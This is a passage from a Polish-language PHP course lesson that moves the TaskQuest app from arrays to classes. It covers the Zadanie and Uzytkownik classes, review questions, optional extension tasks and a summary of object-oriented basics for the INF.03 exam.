<p class="wp-block-paragraph">Nowe narzędzia PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">class</code>, właściwości z typami, <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code>, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, argumenty nazwane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa: wartość</code>), porównywanie obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> operatorem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca tablicę obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> odczytuje dane metodami (format pliku bez zmian),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>: w pięciu funkcjach <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> → metody (logika bez zmian),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: dołączone klasy; obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>; grywalizacja liczona metodami; streak aktualizowany metodą; lista zadań i najpilniejsze zadanie czytane metodami; klasa CSS <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie po-terminie</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: dołączona klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, nowe zadanie tworzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.5</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (17 plików, katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes</code>).</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li><strong>Tablica z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code>, &#8230; jako zadanie</strong> — zastąpiona obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. Tablica pozwalała na literówki w kluczach, brak kluczy i dowolne zmiany wartości; obiekt ma zawsze komplet danych i pozwala tylko na <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>.</li>



<li><strong>Zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong> oraz <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></strong> — przeniesione do obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code> jako właściwości <strong>o tych samych nazwach</strong>. Zostawienie ich obok obiektu oznaczałoby dwie wersje tych samych danych (Eksperyment 6). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> zostają (dane z formularza przed zapisem do sesji).</li>



<li><strong>Linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak(...)</code></strong> — zastąpiona przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> zostaje i jest używana przez metodę.</li>
</ul>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 15 zadanie i użytkownik są w TaskQuest obiektami. Zadanie zawsze ma komplet danych (konstruktor), jego dane są ukryte (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) i można je tylko odczytać albo oznaczyć zadanie jako wykonane; samo wie, czy jest po terminie — a strona główna wyróżnia takie zadania czerwoną ramką. Użytkownik sam zna swój poziom, tytuł, postęp i brakujące XP, aktualizuje swój streak i pozwala tylko dodawać XP (nigdy odejmować). Plik CSV, sesja, formularze i widoki listy działają tak jak po Lekcji 14 — zmieniła się budowa aplikacji, a nie jej zachowanie.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wyjaśnić różnicę między klasą a obiektem na przykładzie Zadanie.
&#91; ] Wiem, co oznacza $this i dlaczego metoda pobierzXp() nie potrzebuje parametru.
&#91; ] Wiem, po co jest konstruktor i co się dzieje, gdy nie ustawi którejś właściwości.
&#91; ] Potrafię wyjaśnić, po co właściwości są private, a metody public.
&#91; ] Wiem, dlaczego Zadanie ma oznaczJakoWykonane(), a nie ma „ustaw XP”.
&#91; ] Potrafię utworzyć obiekt z argumentami nazwanymi i wiem, przed jaką pomyłką chronią.
&#91; ] Mam classes/Zadanie.php z czyPoTerminie(); Test 1 się zgadza.
&#91; ] Mam classes/Uzytkownik.php; Test 2 i Test 3 dają same OK / oczekiwane wartości.
&#91; ] W całym projekcie nie ma już odwołań $zadanie&#91;'...'].
&#91; ] Strona wygląda jak po Lekcji 14, zadania po terminie mają czerwoną ramkę (Testy 4–6).
&#91; ] diagnostyka.php pokazuje 17 razy &#91;OK].
&#91; ] Potrafię wyjaśnić, co pokazał Eksperyment 5 (obiekt to nie kopia) i Eksperyment 7 (typy a walidacja).
&#91; ] Usunęłam/usunąłem brudnopisy.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><p>Czym różni się klasa od obiektu? Ile klas <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, a ile obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> istnieje w TaskQuest, gdy w pliku CSV jest 5 zadań?</p></li>



<li><p>W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(int $xp)</code> występują <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>. Co oznacza każde z nich? Co by się stało, gdyby w metodzie napisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp += $xp;</code>?</p></li>



<li><p>Przewidź wynik:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$a = new Zadanie(id: 1, tytul: 'A', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);<br />$b = $a;<br />$b-&gt;oznaczJakoWykonane();<br />var_dump($a-&gt;czyWykonane());<br /></code>Czy wynik byłby taki sam, gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code> była tablicą, a zamiast metody — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b['wykonane'] = true;</code>?</p></li>



<li><p>Kolega proponuje: „Zróbmy wszystkie właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, będzie mniej pisania — nie trzeba getterów”. Podaj dwa konkretne problemy z sekcji 2, które wtedy wrócą.</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::pobierzPoziom()</code> wywołuje funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>, zamiast mieć w sobie skopiowaną pętlę <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code>? Co by się stało, gdyby kiedyś zmieniła się stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP_NA_POZIOM</code> albo sposób liczenia poziomu?</p></li>



<li><p>W kodzie jest błąd, przez który strona pokazuje zły streak. Znajdź go:<code class="prettyprint lang-sql" style="font-size: 0.85em;">public function aktualizujStreak(bool $zadanieWykonane): void<br />{<br />    aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);<br />}<br /></code></p></li>



<li><p>Zadanie ma termin na dzisiaj. Co zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code>? Jak zmieniłby się wynik, gdyby w metodzie było <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code>? Kiedy (o której godzinie) byłoby to widać?</p></li>



<li><p>Po zmianie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> (krok 2) strona pokazała <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array in ...funkcje_zadan.php</code>. Dlaczego błąd pojawił się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code>, a nie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, gdzie wprowadziliśmy zmianę?</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: '7', ..., wykonane: 'nie', ...)</code> nie zgłasza błędu i co z tego wynika dla walidacji danych z pliku i formularza (Eksperyment 7)?</p></li>



<li><p>Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zostały zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, skoro można w prezentacji pisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code>? A dlaczego usunęliśmy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>?</p></li>



<li><p>Dlaczego obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> budujemy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przy każdym żądaniu, zamiast zapisać go w sesji?</p></li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo więcej):</p>



<p class="wp-block-paragraph"><strong>A) „Zrobione!” — obiekty w akcji.</strong> Przy każdym <strong>niewykonanym</strong> zadaniu na liście dodaj mały formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post" action="oznacz-wykonane.php"</code> z ukrytym polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i przyciskiem „Zrobione!”. Nowy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (bez własnego HTML, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>):</p>



<ul class="wp-block-list">
<li>tylko POST i tylko dla zalogowanych,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z formularza sprawdź regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> (reguła z Lekcji 13),</li>



<li>wczytaj zadania, znajdź na liście <strong>obiekt</strong> o tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code>), wywołaj na nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> i zapisz <strong>całą</strong> listę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>) — wszystko w jednym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>,</li>



<li>ustaw komunikat jednorazowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie wykonane! +N XP.</code>, gdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">N</code> pochodzi z <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> znalezionego zadania, i przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li>gdy zadania o takim <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie ma — komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono zadania.</code>.</li>
</ul>



<p class="wp-block-paragraph">Pytania do przemyślenia: dlaczego wystarczy zmienić obiekt znaleziony w pętli, żeby zmiana trafiła do zapisywanej tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> (Eksperyment 5)? Łączne XP użytkownika na stronie <strong>nie wzrośnie</strong> — dlaczego? Co musiałoby się stać, żeby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp()</code> miało trwały efekt? (Odpowiedź przyniesie baza danych.)</p>



<p class="wp-block-paragraph">Jeśli robiłaś/robiłeś zadanie końcowe A z Lekcji 13 lub C z Lekcji 14 — przerób istniejący <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> zamiast pisać od nowa.</p>



<p class="wp-block-paragraph"><strong>B) Własny wyjątek — dziedziczenie w pigułce.</strong> Klasa może <strong>dziedziczyć</strong> po innej klasie — przejąć wszystkie jej właściwości i metody i dodać coś od siebie. Zapisuje się to słowem <code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class BladPlikuZadan extends Exception
{
}</code></pre>



<p class="wp-block-paragraph">Taka pusta klasa to pełnoprawny wyjątek: ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code> i wszystko inne, co ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> — bo jest „rodzajem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>”. Zadanie:</p>



<ol class="wp-block-list">
<li>Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/BladPlikuZadan.php</code> z powyższą klasą.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception(...)</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new BladPlikuZadan(...)</code> (komunikaty bez zmian); dołącz nową klasę wszędzie, gdzie dołączasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>.</li>



<li>Sprawdź test awarii z Lekcji 12 (zmiana nazwy pliku) — czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nadal łapie wyjątek? Wyjaśnij dlaczego.</li>



<li>W brudnopisie napisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> z dwoma blokami <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (BladPlikuZadan $wyjatek)</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>, i sprawdź, który zadziała dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new BladPlikuZadan('x')</code>, a który dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('y')</code>. Do czego może się przydać rozróżnianie rodzajów awarii?</li>
</ol>



<p class="wp-block-paragraph">Nie zapomnij o <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (18 plików).</p>



<p class="wp-block-paragraph"><strong>C) Zadanie wie, czego dotyczy.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> jest warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">stripos($tytulCzysty, 'PHP') !== false</code>. Przenieś tę wiedzę do klasy: metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie::czyDotyczy(string $temat): bool</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy <strong>oczyszczony</strong> tytuł zawiera podany tekst bez względu na wielkość liter (użyj istniejącej <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zamień warunek na <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyDotyczy('PHP')</code>. Testy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'PHP'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'php'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'  Nauczyć   się   PHP '</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Python'</code>, pusty tytuł. Pytanie: skoro metoda korzysta z funkcji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code>, co musi zrobić każda strona, która wywoła <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyDotyczy()</code>?</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory (w B — <code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> jest wyjaśnione w treści zadania).</p>



<h1 class="wp-block-heading">Most do Lekcji 17</h1>



<p class="wp-block-paragraph">(Lekcja 16 w naszym kursie jest pominięta — kolejnym etapem TaskQuest jest Lekcja 17.)</p>



<p class="wp-block-paragraph">Nasze obiekty są porządne, ale krótko żyją: powstają przy każdym żądaniu z pliku CSV i znikają po wysłaniu strony. Spójrz, co nadal jest „na niby”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(..., xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14')   ← wpisane w kod, takie samo dla każdego
data/zadania.csv                                                                 ← jedna lista dla wszystkich użytkowników
zapiszZadania()                                                                  ← nadpisuje cały plik przy każdej zmianie</code></pre>



<p class="wp-block-paragraph">Ola i Kama widzą te same zadania i ten sam poziom. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> działa — ale wynik przepada. W Lekcji 17 zaprojektujemy <strong>bazę danych</strong> TaskQuest: tabele dla użytkowników i zadań, w których każdy użytkownik ma swoje XP, swój streak i swoje zadania. A nasze klasy się przydadzą: gdy TaskQuest zacznie pobierać dane z bazy, wiersze z wynikiem zapytania zamienimy w obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> — dokładnie tak, jak dziś robimy to z wierszami pliku CSV.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Klasa i obiekt</strong></p>



<ul class="wp-block-list">
<li>Klasa to <strong>plan</strong>, obiekt to <strong>egzemplarz</strong> zbudowany według planu. Z jednej klasy powstaje dowolnie wiele niezależnych obiektów.</li>



<li>Obiekt tworzy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new NazwaKlasy(...)</code>. Do właściwości i metod sięgamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> — <strong>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code> po strzałce</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;tytul</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;$tytul</code>).</li>



<li>Nazwa klasy wielką literą, jedna klasa = jeden plik o tej samej nazwie, plik trzeba dołączyć (<code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>), zanim użyjemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Właściwości, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></strong></p>



<ul class="wp-block-list">
<li>Właściwość to zmienna należąca do obiektu, metoda to funkcja zapisana w klasie i wywoływana <strong>na obiekcie</strong>.</li>



<li>Wewnątrz metody do własnych danych sięgamy <strong>tylko</strong> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code> — samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna, której zwykle nie ma.</li>



<li>Metoda nie potrzebuje parametrów, żeby poznać dane swojego obiektu — dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code> zastępuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code>.</li>



<li>Metoda, która ma zmienić stan obiektu, musi <strong>zapisać wynik</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;...</code> — samo wywołanie funkcji w środku niczego nie zapamiętuje.</li>
</ul>



<p class="wp-block-paragraph"><strong>Konstruktor</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> — <strong>dwa</strong> podkreślniki. PHP wywołuje go automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, dzięki czemu obiekt jest kompletny od chwili powstania.</li>



<li>Brakujący argument to natychmiastowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code>. Konstruktor, który nie ustawi którejś właściwości (albo nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code>), daje błąd dopiero przy odczycie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Hermetyzacja</strong></p>



<ul class="wp-block-list">
<li>Reguła TaskQuest: <strong>właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></strong>. Obiekt ukrywa dane i udostępnia tylko operacje, na które się zgadza.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> — dostęp tylko z metod tej klasy; <code class="prettyprint lang-sql" style="font-size: 0.85em;">protected</code> — także z klas dziedziczących; <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> — zewsząd.</li>



<li>Nie każda właściwość potrzebuje gettera, a tym bardziej metody zmieniającej. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>, bo tylko to wolno z nim zrobić — nie ma „ustaw XP” ani „odznacz”.</li>



<li>Nazewnictwo: <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierz...()</code> zwraca daną, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czy...()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, czasownik (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>) zmienia stan.</li>
</ul>



<p class="wp-block-paragraph"><strong>Rzeczy, które zaskakują</strong></p>



<ul class="wp-block-list">
<li><strong>Obiekt to nie kopia.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b = $a;</code> dla obiektów daje dostęp do <strong>tego samego</strong> obiektu — zmiana przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b</code> widoczna jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$a</code>. Dla tablic byłaby to kopia.</li>



<li><strong>Typy właściwości nie zastępują walidacji.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(id: '7', wykonane: 'nie', ...)</code> przejdzie (PHP przekonwertuje tekst na <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>), więc dane z pliku i formularza nadal trzeba sprawdzać.</li>



<li><strong>Tablica obiektów to nadal tablica.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">count()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> działają jak dotąd — zmienia się tylko odczyt elementu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element['xp']</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element-&gt;pobierzXp()</code>.</li>



<li>Potraktowanie obiektu jak tablicy przerywa skrypt: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Poza TaskQuestem (teoria z lekcji)</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extends</code> — dziedziczenie, <strong>tylko po jednej klasie</strong>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">final</code> blokuje nadpisanie metody (lub dziedziczenie klasy).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">const</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">static</code> należą do <strong>klasy</strong>, nie do obiektu: w środku <code class="prettyprint lang-sql" style="font-size: 0.85em;">self::</code>, na zewnątrz <code class="prettyprint lang-sql" style="font-size: 0.85em;">NazwaKlasy::</code> — bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>.</li>



<li>Klasa abstrakcyjna — nie da się z niej utworzyć obiektu, może mieć pola i gotowe metody, dziedziczy się ją raz. Interfejs — same deklaracje metod publicznych, ale klasa może implementować <strong>wiele</strong> interfejsów.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>czytać i pisać zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Klasa(...)</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;metoda()</code></strong> — bez tego nie da się użyć <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>, wyjątków ani obiektowego połączenia z bazą,</li>



<li><strong>rozpoznać w kodzie</strong>, czy dana rzecz jest funkcją (<code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcja($x)</code>), metodą obiektu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;metoda()</code>), czy elementem klasy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa::STALA</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa::metoda()</code>),</li>



<li><strong>odczytać dane z obiektu zwróconego przez bibliotekę</strong> i wypisać je na stronie (to samo, co robimy z wierszami z bazy),</li>



<li><strong>poprawnie łączyć podejście proceduralne i obiektowe</strong> — na egzaminie wolno pisać skrypty proceduralnie, byle działały i miały znaczące nazwy zmiennych,</li>



<li><strong>rozpoznać typowe komunikaty błędów</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>) i wiedzieć, co je powoduje — to oszczędza czas przy debugowaniu na egzaminie praktycznym.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><strong>Klasa to plan, obiekt to egzemplarz.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> tworzy obiekt, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> sięga do jego właściwości i metod (po strzałce nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code>).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to „ten obiekt”.</strong> Wewnątrz metody zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;wlasciwosc</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> (dwa podkreślniki)</strong> wykonuje się automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code> i ma zrobić obiekt kompletnym.</li>



